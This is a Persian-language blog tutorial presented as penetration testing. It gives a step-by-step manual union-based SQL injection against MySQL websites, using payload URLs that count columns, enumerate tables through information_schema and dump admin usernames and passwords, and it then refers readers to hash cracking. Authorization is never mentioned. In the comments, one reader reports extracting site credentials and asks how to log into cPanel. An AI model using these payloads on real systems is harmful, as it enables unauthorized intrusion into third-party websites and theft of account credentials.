امنیتتست نفوذ

مراحل تست نفوذ آسیب پذیری Sql Injection

مراحل تست نفوذ Sql Injection

با عرض سلام و درود خدمت کاربران kaliboys.com به واسطه آسیب پذیری SQL Injection میتوان با تزریق دستورات SQL به ورودی هایی که به پایگاه داده اعمال میشود، اطلاعات مورد نظر را از پایگاه داده استخراج و اهداف خود را روی آن هدف اعمال کرد. در این مقاله به توضیح کامل تست نفوذ sql injection خواهیم پرداخت.

برای این کار ما میتونیم از نرم افزارهای موجود نیز استفاده کنیم که از جمله قوی ترین اون ها میشه به نرم افزار هویج یا sqlmap اشاره کرد. ولی یک پنتستر حرفه ای همیشه سعی میکنه تمامی مراحل رو خودش به صورت دستی یاد بگیره و بدون نرم افزار هم بتونه کارهاش رو انجام بده.

در این پست ما با پایگاه داده mysql کار میکنیم.

مراحل تست نفوذ

  • تست آسیب پذیر بودن وب سایت
  • استخراج ستون های آسیب پذیر
  • استخراج جداول پایگاه داده
  • انتخاب جدول مورد نظر
  • استخراج اطلاعات از جدول انتخاب شده

تست آسیب پذیر بودن وب سایت

برای تست این آسیب پذیری از تک کوتیشن ‘ استفاده میکنیم که در جواب، اگر از طرف وب سایت تارگت، با ارور mysql() مواجه شدیم پس میتوانیم بگوییم که وب سایت اسیب پذیر است. دقت کنید که ناقص لو شدن سایت یا بالا نیومدن کامل سایت هم نشانه باگ sqli هست.

www.site.com/test.php?id=1

برای مثال اگر ما به ادرس بالا تک کوتیشن اضافه کنیم، سایت برای ما ارور میده یا ناقص لود میشه یا اصلا بالا نمیاد یا اینکه کامل لود میشه که این یعنی سایت باگ نداره.

www.site.com/test.php?id=1'

استخراج ستون های آسیب پذیر

بعد از اینکه تشخیص دادیم یک وب سایت باگ SQL داره باید از طریق دستوراتی ستون های آسیب پذیر اون رو استخراج کنیم. در ادامه یاد میگیرید که چگونه ستون های اسیب پذیر یک وب سایت رو پیدا کنید.

برای این کار از دستور order by استفاده می‌کنیم. دستور order by برای مرتب کردن اطلاعات دریافتی از پایگاه داده مورد استفاده programmerها قرار می‌گیره، وقتی عددی بالاتر از تعداد ستون‌های پایگاه داده با دستور order by درخواست بدهیم، صفحه وب سایت جاری با مشکل اجرا میشه.

وقتی یک صفحه آسیب پذیر در سایتی پیدا کردیم به انتهای آن دستور order by اضافه می‌کنیم تا بتونیم تعداد ستون‌های جدول مورد نظر رو پیدا کنیم. روش استفاده از این دستور به صورت زیر است:

site.com/news.php?id=10+order+by+20--

در دستورات بالا از + به جای فاصله و از -- برای اعلام پایان دستورات استفاده می‌شود، عددی که در انتهای دستورات وجود داره تعداد ستون‌های جدول است که باید آن قدر آن را امتحان کنیم که به تعداد ستون درست جدول برسیم.

تعداد ستون جدول در صورتی درسته که صفحه بدون مشکل و به صورت کامل لود بشه. معمولا کار تست را از از عدد بزرگی شروع و در هر مرحله به نصف کاهش می‌دهیم تا تعداد ستون‌ها رو پیدا کنیم.

استخراج جداول پایگاه داده

برای این کار از دستور union select استفاده می کنیم.برای مثال ما با دستور order by فهمیدیم که وب سایت ۴ ستون آسیب پذیر داره پس دستور بعدی  اینجوری میشه:

www.site.com/test.php?id=1+union+select+1,2,3,4

همچنین میتونید بجای + از فاصله استفاده کنید:

www.site.com/test.php?id=1 union select 1,2,3,4

خب حالا ما تونستیم تعداد ستون های آسیب پذیر رو به دست بیاریم. مثلا اگه ستون ۲ اسیب پذیر بود رو صفحه عدد ۲ رو برای ما نشون میده.

نکته: برخی مواقع دستورات ما کار نمیکنند که امکان داره از طرف وب سایت سیاست های امنیتی برای جلوگیری از هک شدن سایت اعمال شده است. برای درست کار کردن دستوراتمون باید بایپس هایی رو بر روی وب سایت انجام بدیم. برای مثال  باید یک دش(-) به پشت دستور اضافه کنیم تا ستون هارو برامون نشون بده. به صورت زیر:

www.site.com/test.php?id=-1+union+select+1,2,3,4

همون طور که دستور بالا رو میبینید علامت دش در url بعد از =id گذاشته شده است.

به دست اوردن ورژن php و نام دیتابیس

خب ما تونستیم ستون های اسیب پذیر رو پیدا کنیم. حالا در ادامه آموزش، ما به فرض ستون شماره ۲ رو اسیب پذیر فرض کرده و تست میکنیم.

با دستور زیر میتونیم ورژن php استفاده شده بر روی وب سایت رو به دست بیاریم.

version()

این دستور به صورت زیر به کار میره:

www.site.com/test.php?id=-1+union+select+1,version(),3,4

الان اگه به لینک بالا نگاه کنید متوجه میشید که به جای عدد ۲ که همون ستون آسیب پذیر ما بود، دستور version() رو وارد کردیم. که در نتیجه میتونید ورژن php را مشاهده کنید.

نکته:تمامی دستوراتی که ما تا الان گفتیم برای ورژن های بالای ۵ است و برای ورژن های زیر ۵ قضیه کلا فرق داره. و تقریبا میشه گفت که الان همه ورژن هایی که استفاده میشن بالایی ۵ هستند و به ندرت ورژن زیر ۵ پیدا میشه.

همچنین شما میتونید به جای دستور ()version از version@@ استفاده کنید که باز نتیجه یکی هست.

www.site.com/test.php?id=-1+union+select+1,@@version,3,4

برای به دست اوردن نام دیتابیس هم میتونیم از دستور database() استفاده کنیم.

www.site.com/test.php?id=-1+union+select+1,database(),3,4

انتخاب جدول مورد نظر

خب در قسمت های قبلی یاد گرفتیم که چطوری تعداد ستون های آسیب پذیر رو پیدا کنیم. حالا در این قسمت جداول موجود در دیتابیس رو به دست میاریم. در ادامه آموزش ما ستون شماره ۳ رو آسیب پذیر فرض کردیم.
در ادامه کار ما دستور group_concat(table_name) رو به جای ستون مورد نظر وارد میکنیم.

www.site.com/+union+select+1,2,group_concat(table_name),4,5

همچنین دستور from information_schema.tables رو نیز مانند ادرس زیر به آخر ادرس اضافه میکنیم.

www.site.com/+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables

خب با این دستور تمامی جداول موجود برای ما نشون داده میشن که ما فقط جداول موجود در دیتابیس رو میخواییم که میتونیم دستور where table_schema=database() رو نیز به ادرس خود اضافه کنیم کهدستور ما به صورت زیر میشه:

www.site.com/+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()

الان دیگه میشه گفت که به تمام جداول موجود در پایگاه داده دسترسی داریم که حالا باید دنبال جدول مورد نظر خود بگردیم برای مثال جدول admin که یوزر و پسورد ادمین سایت در اون ذخیره شده است.

نکته: از جمله اسم هایی که برای این جدول انتخاب میشه میتونیم به admin, login , users ,user ,tbladmin اشاره کنیم.

استخراج اطلاعات از جدول انتخاب شده

در بخش قبلی ما جدول admin رو انتخاب کردیم که برای استخراج اطلاعات اون از دستور زیر استفاده میکنیم.

www.site.com/+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name='admin'

همون طور که میبینید اسم table رو به column تغییر دادیم teble_schema رو هم به table_name تغییر دادیم حالا اطلاعات موجود در جدول برای ما نشون داده میشن. برای مثال: id,username,password,email. در ادامه برای بیرون کشیدن یوزرنیم و پسورد از دستوز زیر استفاده میکنیم:

www.site.com/+union+select+1,2,group_concat(username,password),4,5+from+admin

خب بعد از وارد کردن دستور بالا، برای مثال اگه یوزرنیم و پسورد به صورت admin ,admin باشه برای ما به صورت adminadmin نشون داده میشه. که برای اینکه باهم قاطی نشن، دستور هگز ۰x3a رو اضافه میکنیم که همون علامت (:) است.که نتیجه به صورت admin:admin برای ما نشون داده خواهد شد.

البته امکان داره تمامی پسورد ها به صورت هش(Hash) در اومده باشن که میتونید از طریق این آموزش نحوه شکستن انواع هش هارو یاد بگیرید.

نمونه ای از اطلاعات استخراج شده در عملیات تست نفوذ sql injection
نمونه ای از اطلاعات استخراج شده در عملیات تست نفوذ sql injection

امیدوارم این مطلب هم براتون مفید واقع شده باشه.لطفا با نظر دادن زیر پست در کیفیت مطالب وب سایت ما را یاری کنید.

یوسف وفایی

فارغ التحصیل کارشناسی IT، علاقه مند به برنامه نویسی و علم امنیت، عاشق یادگیری حرفه های جدید، کنجکاو برای همه چیز، همچنین همیشه تلاش میکنم تا به هدفم برسم...

‫14 دیدگاه ها

  1. سلام یک صفحه آسیب پذیر چه ویژگی داره یعنی ما چطوری باید توی یک سایت دنبال صفحه آسیب پذیر بگردیم؟

  2. سلام
    چرا در سایتی که باگ اس کیو ال داره و پیغام خطا میده هرچی عدد جلو order by میزارم باز صفحه لود میشه!؟
    حتی 1000 هم زدم ولی صفحه سایت بالا اومده و پیغام خطا نمیده!چرا؟؟

  3. سلام بخشید من تونستم تست نفوذ ودریافت نام کاربری و پسورد رو انجام بدم اما سی پنل برای ورود نیاز ایمیل داره
    الان باید چیکار کنیم؟

  4. برای شروع اینجکشن بدک نیست. ولی به نظرم تا کسی از اصول با نحوه کار sql آشنا نشه این موارد بیشتر شبیه به اوپراتور بودنه. بایپس های جدید برای عبور از فیلترهایی که سایتها بر روی این لینک ها میذارن هم بدین به نظرم خیلی بهتر میشه. که لااقل همین اندک اطلاعات رو کسی که تازه کاره بتونه استخراج کنه وگرنه پیدا کردن سایتی که هنوز پروتکشنش اینقدر ضعیف باشه که بشه با این دستورات بهش نفوذ کرد خیلی سخته اگر هم هست سایت بدرد بخوری نیست

  5. با سلام
    درمرحله استخراج ستون های اسیب پذیر هر دو تا عدد رو باید تغییر بدیم؟

    مثلا در
    site.com/news.php?id=10+order+by+20–
    فقط عدد ۲۰ رو عوض کنیم تا به تعداد ستون برسیم؟ یا هر ۲تا رو باید تغییر بدیم؟

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *


دکمه بازگشت به بالا